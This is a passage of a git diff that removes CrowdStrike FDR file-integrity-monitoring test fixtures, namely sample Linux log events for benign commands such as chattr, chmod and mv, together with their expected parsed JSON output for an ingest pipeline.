-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "0",
-                "name": "root"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
deleted file mode 100644
index c8074c265b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
+++ /dev/null
@@ -1,4 +0,0 @@
-{"CommandLine":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018306.15","ConfigStateHash":"3670115942","ContextProcessId":"53161386728422","ContextTimeStamp":"1764581215.460","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/env","ImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.20","ObjectAccessOperationType":"1","ObjectName":"/home/testuser/filevantage/suppressed","ObjectType":"2","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"32136","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.20","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764581216103"}
-{"CommandLine":"chattr -i test.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56475831735124","ContextTimeStamp":"1764940155.335","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/bash","ImageFileName":"/usr/bin/chattr","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewFileAttributesLinux":"0","ObjectAccessOperationType":"6","ObjectName":"/home/testuser/filevantage/test.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/sudo","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousFileAttributesLinux":"16","RUID":"0","RawProcessId":"11590","RuleModifiedTimeStamp":"","UID":"0","UserName":"root","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"784c387c-806a-4add-a54f-83bc938d022d","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940155942"}
-{"CommandLine":"chmod +x test.sh","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56470381986263","ContextTimeStamp":"1764939765.615","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/chmod","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewUnixPermissions":"509","ObjectAccessOperationType":"7","ObjectName":"/home/testuser/filevantage/test.sh","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousUnixPermissions":"436","RUID":"1000","RawProcessId":"1205","RuleModifiedTimeStamp":"","SecurityInformationLinux":"1","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"48cd83c0-62ba-471c-a6a2-fa5309195dde","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764939766240"}
-{"CommandLine":"mv test.txt newname.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56480700653114","ContextTimeStamp":"1764940527.728","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/mv","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","ObjectAccessOperationType":"5","ObjectName":"/home/testuser/filevantage/test.txt","ObjectNameNew":"/home/testuser/filevantage/newname.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"21533","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"54049e9e-d8c2-41c8-8822-98687f7a3608","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940528352"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
deleted file mode 100644
index 3b272f36c9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
+++ /dev/null
@@ -1,636 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-12-01T09:26:56.103Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3670115942",
-                "ContextProcessId": "53161386728422",
-                "ContextTimeStamp": "2025-12-01T09:26:55.460Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "/usr/bin/env",
-                "IsEBPF": "0",
-                "IsFromDifferentMountNamespace": "0",
-                "LocalAddressIP4": [
-                    "192.0.2.20"
-                ],
-                "ObjectAccessOperationType": "CREATE",
-                "ObjectType": "FOLDER",
-                "ParentImageFileName": "/usr/bin/bash",
-                "Policy": {
-                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
-                },
-                "PolicyRuleSeverity": 3,
-                "RUID": "1000",
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4",
-                "name": "FileIntegrityMonitorRuleMatchedLinV9"
-            },
-            "device": {
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-01T09:26:56.103Z",
-                "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018306.15\",\"ConfigStateHash\":\"3670115942\",\"ContextProcessId\":\"53161386728422\",\"ContextTimeStamp\":\"1764581215.460\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/env\",\"ImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.20\",\"ObjectAccessOperationType\":\"1\",\"ObjectName\":\"/home/testuser/filevantage/suppressed\",\"ObjectType\":\"2\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"32136\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.20\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764581216103\"}",
-                "severity": 73,
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/home/testuser/filevantage",
-                "name": "suppressed",
-                "path": "/home/testuser/filevantage/suppressed",
-                "type": "dir"
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "name": "LINUX-TEST-HOST-01",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.20"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.20"
-                ],
-                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "version": "1007.8.0018306.15"
-            },
-            "process": {
-                "args": [
-                    "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
-                    "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js",
-                    "--start-server",
-                    "--host=127.0.0.1",
-                    "--accept-server-license-terms",
-                    "--enable-remote-auto-shutdown",
-                    "--port=0",
-                    "--telemetry-level",
-                    "all",
-                    "--connection-token-file",
-                    "/home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token"
-                ],
-                "args_count": 11,
-                "command_line": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token",
-                "entity_id": "53161386728422",
-                "executable": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
-                "name": "node",
-                "pid": 32136,
-                "real_user": {
-                    "id": "1000"
-                }
-            },
-            "related": {
-                "hash": [
-                    "3670115942"
-                ],
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.20"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
-                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
-            },
-            "source": {
-                "address": "192.0.2.20",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.20"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "1000"
-                    }
-                },
-                "id": "1000",
-                "name": "testuser"
-            }
-        },
-        {
-            "@timestamp": "2025-12-05T13:09:15.942Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4077874319",
-                "ContextProcessId": "56475831735124",
-                "ContextTimeStamp": "2025-12-05T13:09:15.335Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "/usr/bin/bash",
-                "IsEBPF": "0",
-                "IsFromDifferentMountNamespace": "0",
-                "LocalAddressIP4": [
-                    "192.0.2.11"
-                ],
-                "NewFileAttributesLinux": "0",
-                "ObjectAccessOperationType": "ATTRIBUTES_CHANGED",
-                "ObjectType": "FILE",
-                "ParentImageFileName": "/usr/bin/sudo",
-                "Policy": {
-                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
-                },
-                "PolicyRuleSeverity": 3,
-                "PreviousFileAttributesLinux": "16",
-                "RUID": "0",
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "784c387c-806a-4add-a54f-83bc938d022d",
-                "name": "FileIntegrityMonitorRuleMatchedLinV9"
-            },
-            "device": {
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-05T13:09:15.942Z",
-                "id": "784c387c-806a-4add-a54f-83bc938d022d|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"chattr -i test.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56475831735124\",\"ContextTimeStamp\":\"1764940155.335\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/bash\",\"ImageFileName\":\"/usr/bin/chattr\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewFileAttributesLinux\":\"0\",\"ObjectAccessOperationType\":\"6\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/sudo\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousFileAttributesLinux\":\"16\",\"RUID\":\"0\",\"RawProcessId\":\"11590\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"0\",\"UserName\":\"root\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940155942\"}",
-                "severity": 73,
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "attributes": [
-                    "0"
-                ],
-                "directory": "/home/testuser/filevantage",
-                "extension": "txt",
-                "name": "test.txt",
-                "path": "/home/testuser/filevantage/test.txt",
-                "type": "file"
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "name": "LINUX-TEST-HOST-01",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.1"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.1"
-                ],
-                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "version": "1007.8.0018308.15"
-            },
-            "process": {
-                "args": [
-                    "chattr",
-                    "-i",
-                    "test.txt"
-                ],
-                "args_count": 3,
-                "command_line": "chattr -i test.txt",
-                "entity_id": "56475831735124",
-                "executable": "/usr/bin/chattr",
-                "name": "chattr",
-                "pid": 11590,
-                "real_user": {
-                    "id": "0"
-                }
-            },
-            "related": {
-                "hash": [
-                    "4077874319"
-                ],
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.1",
-                    "192.0.2.11"
-                ],
-                "user": [
-                    "root",
-                    "0"
-                ]
-            },
-            "rule": {
-                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
-                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
-            },
-            "source": {
-                "address": "192.0.2.11",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.11"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "id": "0",
-                "name": "root"
-            }
-        },
-        {
-            "@timestamp": "2025-12-05T13:02:46.240Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4077874319",
-                "ContextProcessId": "56470381986263",
-                "ContextTimeStamp": "2025-12-05T13:02:45.615Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
-                "IsEBPF": "0",
-                "IsFromDifferentMountNamespace": "0",
-                "LocalAddressIP4": [
-                    "192.0.2.11"
-                ],
-                "NewUnixPermissions": "509",
-                "ObjectAccessOperationType": "PERMISSIONS_CHANGED",
-                "ObjectType": "FILE",
-                "ParentImageFileName": "/usr/bin/bash",
-                "Policy": {
-                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
-                },
-                "PolicyRuleSeverity": 3,
-                "PreviousUnixPermissions": "436",
-                "RUID": "1000",
-                "SecurityInformationLinux": "1",
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde",
-                "name": "FileIntegrityMonitorRuleMatchedLinV9"
-            },
-            "device": {
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-05T13:02:46.240Z",
-                "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"chmod +x test.sh\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56470381986263\",\"ContextTimeStamp\":\"1764939765.615\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/chmod\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewUnixPermissions\":\"509\",\"ObjectAccessOperationType\":\"7\",\"ObjectName\":\"/home/testuser/filevantage/test.sh\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousUnixPermissions\":\"436\",\"RUID\":\"1000\",\"RawProcessId\":\"1205\",\"RuleModifiedTimeStamp\":\"\",\"SecurityInformationLinux\":\"1\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"48cd83c0-62ba-471c-a6a2-fa5309195dde\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764939766240\"}",
-                "severity": 73,
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/home/testuser/filevantage",
-                "extension": "sh",
-                "name": "test.sh",
-                "path": "/home/testuser/filevantage/test.sh",
-                "type": "file"
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "name": "LINUX-TEST-HOST-01",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.1"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.1"
-                ],
-                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "version": "1007.8.0018308.15"
-            },
-            "process": {
-                "args": [
-                    "chmod",
-                    "+x",
-                    "test.sh"
-                ],
-                "args_count": 3,
-                "command_line": "chmod +x test.sh",
-                "entity_id": "56470381986263",
-                "executable": "/usr/bin/chmod",
-                "name": "chmod",
-                "pid": 1205,
-                "real_user": {
-                    "id": "1000"
-                }
-            },
-            "related": {
-                "hash": [
-                    "4077874319"
-                ],
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.1",
-                    "192.0.2.11"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
-                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
-            },
-            "source": {
-                "address": "192.0.2.11",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.11"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "1000"
-                    }
-                },
-                "id": "1000",
-                "name": "testuser"
-            }
-        },
-        {
-            "@timestamp": "2025-12-05T13:15:28.352Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4077874319",
-                "ContextProcessId": "56480700653114",
-                "ContextTimeStamp": "2025-12-05T13:15:27.728Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
-                "IsEBPF": "0",
-                "IsFromDifferentMountNamespace": "0",
-                "LocalAddressIP4": [
-                    "192.0.2.11"
-                ],
-                "ObjectAccessOperationType": "RENAME",
-                "ObjectType": "FILE",
-                "ParentImageFileName": "/usr/bin/bash",
-                "Policy": {
-                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
-                },
-                "PolicyRuleSeverity": 3,
-                "RUID": "1000",
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "54049e9e-d8c2-41c8-8822-98687f7a3608",
-                "name": "FileIntegrityMonitorRuleMatchedLinV9"
-            },
-            "device": {
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-05T13:15:28.352Z",
-                "id": "54049e9e-d8c2-41c8-8822-98687f7a3608|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"mv test.txt newname.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56480700653114\",\"ContextTimeStamp\":\"1764940527.728\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/mv\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"ObjectAccessOperationType\":\"5\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectNameNew\":\"/home/testuser/filevantage/newname.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"21533\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"54049e9e-d8c2-41c8-8822-98687f7a3608\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940528352\"}",
-                "severity": 73,
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": "test.txt",
-                        "path": "/home/testuser/filevantage/test.txt"
-                    }
-                },
-                "directory": "/home/testuser/filevantage",
-                "extension": "txt",
-                "name": "newname.txt",
-                "path": "/home/testuser/filevantage/newname.txt",
-                "type": "file"
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "name": "LINUX-TEST-HOST-01",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.1"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
